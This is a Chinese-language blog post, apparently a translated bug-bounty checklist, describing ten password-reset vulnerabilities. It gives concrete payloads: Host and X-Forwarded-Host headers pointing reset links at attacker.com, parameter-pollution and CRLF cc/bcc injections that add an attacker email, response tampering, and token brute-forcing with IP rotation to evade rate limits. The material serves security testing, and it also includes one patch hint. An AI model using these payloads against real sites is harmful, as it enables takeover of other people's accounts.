十个密码重置漏洞

十个密码重置漏洞

[1]通过引荐来源导致密码重置令牌泄漏

利用方式

  • 要求将密码重置为您的电子邮件地址
  • 单击密码重置链接
  • 不要更改密码
  • 点击任何第三方网站(例如:Facebook,Twitter)
  • 在burpsuite代理中拦截请求
  • 检查引荐标头是否泄漏了密码重置令牌。

影响

它允许控制特定站点的人更改用户密码(CSRF攻击),因为此人知道用户的重置密码令牌。

参考:

  • https://hackerone.com/reports/342693
  • https://hackerone.com/reports/272379
  • https://hackerone.com/reports/737042
  • https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
  • https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1

[2]通过密码重置中毒接管帐户

利用方式

  • 拦截Burpsuite中的密码重置请求
  • 在burpsuite中添加以下标题或编辑标题(一一尝试)

您可以使用ngrok服务器作为攻击者服务器

Host: attacker.com

要么

Host: target.com 
X-Forwarded-Host: attacker.com

或者

Host: target.com 
Host: attacker.com

补丁

使用$_SERVER['SERVER_NAME']而不是$_SERVER['HTTP_HOST']

密码链接的生成如下:

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901"; 

影响

受害者将在其电子邮件中接收到恶意链接,并且在单击该链接时,会将用户的密码重置链接/令牌泄露给攻击者,从而导致整个帐户被接管。

参考:

  • https://hackerone.com/reports/226659
  • https://hackerone.com/reports/167631
  • https://www.acunetix.com/blog/articles/password-reset-poisoning/
  • https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
  • https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87

[3]帐户接管:使用操作电子邮件参数重置密码

利用方式

①使用&将攻击者电子邮件添加为第二个参数

POST /resetPassword 
[...] 
email=[email protected]&email=[email protected] 

②使用%20将攻击者电子邮件添加为第二个参数

POST /resetPassword
[...]
[email protected]%[email protected]

③使用|将攻击者电子邮件添加为第二个参数

POST /resetPassword
[...]
[email protected]|[email protected]

④使用cc将攻击者电子邮件添加为第二个参数

POST /resetPassword
[...]
email="[email protected]%0a%0dcc:[email protected]"

⑤使用bcc添加攻击者电子邮件作为第二个参数

POST /resetPassword
[...]
email="[email protected]%0a%0dbcc:[email protected]"

⑥添加攻击者电子邮件作为第二个参数

POST /resetPassword
[...]
email="[email protected]",email="[email protected]"

⑦将攻击者电子邮件添加为json数组中的第二个参数

POST /resetPassword
[...]
{"email":["[email protected]","[email protected]"]}

参考

  • https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
  • https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
  • https://twitter.com/HusseiN98D/status/1254888748216655655872

[4]通过API参数更改任何用户的电子邮件和密码来完全控制帐户

利用方式

  • 攻击者必须使用其帐户登录并转到“更改密码”功能
  • 启动burpsuite并拦截请求
  • 拦截请求后,将其发送到转发器并修改参数电子邮件和密码
POST /api/changepass
[...]
("form": {"email":"[email protected]","password":"12345678"})

参考

  • https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240

[5]无速率限制:电子邮件轰炸

利用方式

  • 启动Burp Suite并拦截密码重置请求
  • 发送到入侵者
  • 使用空有效负载

参考

  • https://hackerone.com/reports/280534
  • https://hackerone.com/reports/794395

[6]了解如何生成密码重置令牌

找出密码重置令牌的模式 

假设

  • 生成的基于时间戳
  • 根据用户ID生成
  • 根据用户的电子邮件生成
  • 根据名字和姓氏生成
  • 根据出生日期生成
  • 基于密码学生成

使用Burp Sequencer查找令牌的随机性或可预测性。

[7]返回值操作:将不良回应替换为良好回应

寻找这样的请求和响应

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

改为

HTTP/1.1 200 OK 
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”) 

参考

  • https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3

[8]使用过期令牌

  • 检查过期的令牌是否可以重复使用

[9]蛮力密码休息令牌

尝试使用Burpsuite暴力破解重置令牌

POST /resetPassword
[...]
[email protected]&code=$BRUTE$
  • 在burpsuite上使用IP-Rotator绕过基于IP的速率限制。

参考

  • https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1

[10]尝试使用令牌

  • 尝试使用受害者的帐户添加密码重置令牌
POST /resetPassword
[...]
[email protected]&code=$YOUR_TOKEN$

参考

  • https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1

结论

下次当你看到密码有重置功能[忘记密码的地方]时,请检查上面列出的所有的这些漏洞。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注